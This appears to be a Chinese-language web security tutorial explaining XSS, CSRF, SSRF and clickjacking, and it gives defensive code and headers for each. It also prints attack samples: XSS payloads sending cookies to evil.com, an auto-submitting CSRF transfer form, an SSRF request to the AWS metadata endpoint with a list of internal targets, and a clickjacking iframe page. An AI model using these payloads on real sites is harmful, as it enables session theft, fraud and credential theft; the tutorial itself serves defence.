Web 安全攻防实战:XSS、CSRF、SSRF 与点击劫持的防御体系

前端工程

Web 安全威胁全景

威胁 影响面 严重度 防御复杂度
XSS 数据窃取、会话劫持 高 中
CSRF 伪造操作、资金损失 高 低
SSRF 内网探测、服务攻击 高 中
点击劫持 诱导操作 中 低

一、XSS(跨站脚本攻击)

三种 XSS 类型

类型 注入点 持久性 典型场景
存储型 服务端存储 持久 评论区、用户昵称
反射型 URL 参数 临时 搜索结果、错误提示
DOM 型 客户端 JS 临时 URL hash、document.write

存储型 XSS 攻击示例

<!-- 攻击者在评论区注入 -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

<!-- 或更隐蔽的 img 标签 -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- 或 SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">

防御一:输出编码

function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  };
  return str.replace(/[&<>"']/g, (c) => map[c]);
}

// 使用
element.innerHTML = escapeHtml(userInput);

防御二:CSP(Content Security Policy)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
指令 含义 示例
default-src 默认策略 'self'
script-src JS 来源 'self' 'nonce-abc123'
style-src CSS 来源 'self' 'unsafe-inline'
img-src 图片来源 'self' data: https:
connect-src fetch/XHR 来源 'self' https://api.example.com
frame-ancestors 嵌套来源 'none' (防点击劫持)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly 阻止 JS 通过 document.cookie 读取,即使 XSS 成功也无法窃取会话。

防御四:Trusted Types

// 启用 Trusted Types API
if (window.trustedTypes) {
  trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input),
  });
}

// 之后所有 innerHTML 赋值必须经过策略
element.innerHTML = userInput; // 如果没有策略,抛出错误

二、CSRF(跨站请求伪造)

攻击原理

<!-- 攻击者网站上的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

用户已登录银行网站 → Cookie 自动携带 → 伪造请求成功。

Set-Cookie: session=abc; SameSite=Strict
值 跨站请求携带 适用场景
Strict 不携带 最安全,但从外部链接进入不带 Cookie
Lax GET 请求携带 默认值,平衡安全与体验
None 都携带 需配合 Secure,第三方场景

防御二:CSRF Token

// 服务端生成 Token
app.use((req, res, next) => {
  req.csrfToken = crypto.randomBytes(32).toString('hex');
  res.locals.csrfToken = req.csrfToken;
  next();
});

// 表单中嵌入
// <input type="hidden" name="_csrf" value="${csrfToken}">

// 服务端验证
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.csrfToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  // 处理转账
});
// 前端:从 Cookie 读取 CSRF Token,放入请求头
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrfToken'),
  },
  body: JSON.stringify(data),
});

防御四:Origin/Referer 检查

app.use((req, res, next) => {
  const origin = req.headers.origin || req.headers.referer;
  if (origin && !origin.startsWith('https://example.com')) {
    return res.status(403).send('Invalid origin');
  }
  next();
});

三、SSRF(服务端请求伪造)

攻击示例

GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

169.254.169.254 是 AWS 元数据服务,攻击者可获取 IAM 凭证。

常见内网目标

地址 服务 可获取信息
169.254.169.254 AWS 元数据 IAM 凭证、实例信息
100.100.100.200 阿里云元数据 安全凭证
metadata.google.internal GCP 元数据 Service Account Token
127.0.0.1:6379 Redis 数据、配置
127.0.0.1:9200 Elasticsearch 数据、集群信息

防御一:URL 白名单

const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];

function validateUrl(inputUrl) {
  const url = new URL(inputUrl);

  if (!ALLOWED_DOMAINS.includes(url.hostname)) {
    throw new Error('Domain not allowed');
  }
  if (url.protocol !== 'https:') {
    throw new Error('Only HTTPS allowed');
  }
  // 阻止特殊 IP
  if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
    throw new Error('Private IP not allowed');
  }

  return url;
}

防御二:DNS 重绑定防护

// 先解析 DNS,再验证 IP,再发起请求
async function safeFetch(inputUrl) {
  const url = new URL(inputUrl);
  const addresses = await dns.promises.resolve4(url.hostname);

  for (const ip of addresses) {
    if (isPrivateIP(ip)) throw new Error('Private IP resolved');
  }

  // 使用解析后的 IP 直接请求,避免 DNS 重绑定
  return fetch(`https://${addresses[0]}${url.pathname}`, {
    headers: { Host: url.hostname },
  });
}

四、点击劫持(Clickjacking)

攻击原理

<!-- 攻击者网站 -->
<style>
  iframe {
    position: absolute;
    top: 100px;
    left: 200px;
    opacity: 0.01; /* 几乎不可见 */
  }
  .decoy-button {
    position: absolute;
    top: 100px;
    left: 200px;
  }
</style>

<!-- 诱饵按钮 -->
<button class="decoy-button">点击领取优惠券</button>

<!-- 透明的目标网站 iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>

用户以为点击"领取优惠券",实际点击了银行转账按钮。

防御一:X-Frame-Options

X-Frame-Options: DENY
值 含义
DENY 任何页面都不能嵌入
SAMEORIGIN 仅同源页面可嵌入

防御二:CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;

frame-ancestors 是 X-Frame-Options 的现代替代,支持白名单。

防御三:JS 帧破坏

if (window.top !== window.self) {
  window.top.location = window.self.location;
}

五、纵深防御体系

第1层:输入验证 —— 服务端校验所有输入
第2层:输出编码 —— 根据上下文转义
第3层:CSP 策略 —— 限制资源加载
第4层:Cookie 安全 —— HttpOnly + SameSite + Secure
第5层:CSRF Token —— 验证请求来源
第6层:Rate Limit —— 限制请求频率
第7层:WAF —— Web 应用防火墙

安全响应头完整配置

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持